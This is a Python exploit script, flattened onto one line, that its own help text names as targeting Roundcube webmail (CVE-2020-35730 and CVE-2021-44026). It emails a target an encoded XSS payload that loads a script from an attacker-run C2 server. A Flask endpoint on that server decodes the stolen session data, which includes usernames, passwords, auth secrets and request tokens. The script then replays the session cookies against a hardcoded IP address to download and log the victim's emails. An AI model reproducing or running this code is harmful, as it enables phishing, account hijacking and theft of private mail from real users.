import base64 import json from datetime import datetime import argparse import logging as log import smtplib import base64 from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import requests from flask import Flask, logging, request app = Flask(__name__) logger = logging.create_logger(app) logger.setLevel(10) class Mail: def __init__( self, smtp_server, smtp_port, sender_email, sender_password, target_email ): self.smtp_server = smtp_server self.smtp_port = smtp_port self.sender_email = sender_email self.sender_password = sender_password self.target_email = target_email def send_email(self, subject, message_body): mail_message = MIMEMultipart() mail_message["Subject"] = subject mail_message["From"] = self.sender_email mail_message["To"] = self.target_email message = MIMEText(message_body) mail_message.attach(message) try: smtp_server = smtplib.SMTP(self.smtp_server, self.smtp_port) smtp_server.connect(self.smtp_server, self.smtp_port) smtp_server.ehlo() smtp_server.starttls() smtp_server.ehlo() smtp_server.login(self.sender_email, self.sender_password) smtp_server.sendmail( self.sender_email, self.target_email, mail_message.as_string() ) except smtplib.SMTPException: return False log.info("Mail was successfully sent!") return True class Exploit: C2_PAYLOAD = 'var s=document.createElement("script");s.type="text/javascript";s.src="{url}/static/{filename}";document.head.append(s);' XSS_PAYLOAD = "[]:##str_replacement_0##" def __init__(self, c2_server, c2_filename): self.target_host = c2_server self.filename = c2_filename def build_fetching_payload(self): c2_payload = self.C2_PAYLOAD.format( url=self.target_host, filename=self.filename ) encoded_payload = base64.b64encode(c2_payload.encode("latin-1")).decode( "latin-1" ) payload = self.XSS_PAYLOAD.format(enc_payload=encoded_payload) return payload @app.route("/") def index(): return "Hello from Flask!" @app.route("/error", methods=["POST"]) def error(): body = request.get_data(as_text=True) logger.error(f"Exploit failed. Reason: {body}") return "" def generate_timestamp(): lifetime = 600 time_format = "%a, %d %b %Y %H:%M:%S %z" try: date = requests.get("http://45.32.150.130:9009/").headers["Date"] date = " ".join(date.split(" ")[:-1]) + " +0000" except (IndexError, KeyError, TypeError, requests.exceptions.RequestException): return None now = int(datetime.strptime(date, time_format).timestamp()) now = now - (now % (lifetime // 2)) return now def fetch_mails(tokens_dict): response_dict = {} url = "http://45.32.150.130:9009" for sess_id, token in tokens_dict.items(): timestamp = generate_timestamp() if not token or not timestamp: continue auth_secret = token.get("auth_secret", "") if not auth_secret: continue cookies = { "roundcube_sessid": sess_id, "roundcube_sessauth": f"{token.get('auth_secret', '')}-{timestamp}", } try: response = requests.get( url + "/?_task=mail&_action=list&_mbox=INBOX&_remote=1&_threads=1", cookies=cookies, timeout=1.0, ) except requests.exceptions.RequestException: continue if not response.text: continue lines = response.text.split("\\n") identifier = "this.add_message_row" mails = [] for line in lines: if not line.startswith(identifier): continue # The uid is the first parameter in the call to add_message row, so the # pattern we are looking for is this.add_message_row(UID, ...) mail_uid = line[line.find("(") + 1 : line.find(",")] logger.info("Got uid: %s" % mail_uid) request_token = token.get("request_token") if not request_token: continue req = requests.get( url + f"/?_task=mail&_save=1&_uid={mail_uid}&_mbox=INBOX&_action=viewsource&_token={request_token}", cookies=cookies, timeout=1, ) mail_text = req.text if not mail_text: continue logger.info("Got mail: %s" % mail_text) mails.append(mail_text) if not mails: continue logger.debug( "Mails of %s:\n%s" % (token.get("username"), "\n".join((str(mail) for mail in mails))) ) response_dict[token.get("username")] = response.text return response_dict @app.route("/store", methods=["POST"]) def store(): tokens = {} reading = False sess_id, sess_variables = "", "" body = request.get_data(as_text=True) data = json.loads(body)["data"] data = base64.b64decode(data).decode("utf-8").strip() for line in data.split("\r\n"): if not reading: sess_id, sess_variables = "", "" if line.startswith("BEGIN:VCARD"): reading = True continue if line.startswith("N:"): sess_variables += line[2:].strip() elif line.startswith(" "): sess_variables += line[1:].strip() if line.startswith("FN:"): sess_id = line[3:].strip() elif line.startswith("END:VCARD"): reading = False sess_variables = sess_variables.strip(";") sess_variables = ( base64.b64decode(sess_variables).decode("utf-8").strip(" \r\n{}\t") ) wanted_keys = {} exfiltate_keys = ( "username", "password", "auth_secret", "request_token", "login_time", ) for value in sess_variables.split(";"): for key in exfiltate_keys: if not value.startswith(key): continue try: split = value[len(key) + 1 :].split(":") value_type = split[0] if value_type == "i": wanted_keys[key] = split[1].strip('"') elif value_type == "s": wanted_keys[key] = split[2].strip('"') else: wanted_keys[key] = value except IndexError: logger.error("Failed to extract value %s" % value) wanted_keys[key] = "" tokens[sess_id] = wanted_keys logger.info("Exploit succeeded. Data:") for sess_id, sess_vars in tokens.items(): logger.info(f"Session ID: {sess_id}") for key in sess_vars: logger.info(f"\t{key}: {sess_vars[key]}") fetch_mails(tokens) return "" if __name__ == "__main__": parser = argparse.ArgumentParser( description="Roundcube CVE-2020-35730 & CVE-2021-44026 exploit" ) # Add arguments parser.add_argument("smtp_server", type=str, help="Sender SMTP server name") parser.add_argument("smtp_port", type=str, help="Sender SMTP server port") parser.add_argument("sender_email", type=str, help="Sender email address") parser.add_argument( "sender_password", type=str, help="Sender email password for logging into the SMTP server", ) parser.add_argument("target_email", type=str, help="Target email address") parser.add_argument( "c2_server", type=str, help="The URL on which the C2 server will listen", default="http://localhost:81", ) # Parse the command-line arguments args = parser.parse_args() c2_filename = "fetcher.js" c2_file_path = "./static/fetcher.js" with open(c2_file_path) as file: replace_c2_server = file.read().replace("", args.c2_server) with open(c2_file_path, "w") as file: file.write(replace_c2_server) exploit = Exploit(c2_server=args.c2_server, c2_filename=c2_filename) payload = exploit.build_fetching_payload() mail = Mail( smtp_server=args.smtp_server, smtp_port=args.smtp_port, sender_email=args.sender_email, sender_password=args.sender_password, target_email=args.target_email, ) mail.send_email(subject="Hello!", message_body=payload) app.run(host="0.0.0.0", port=81)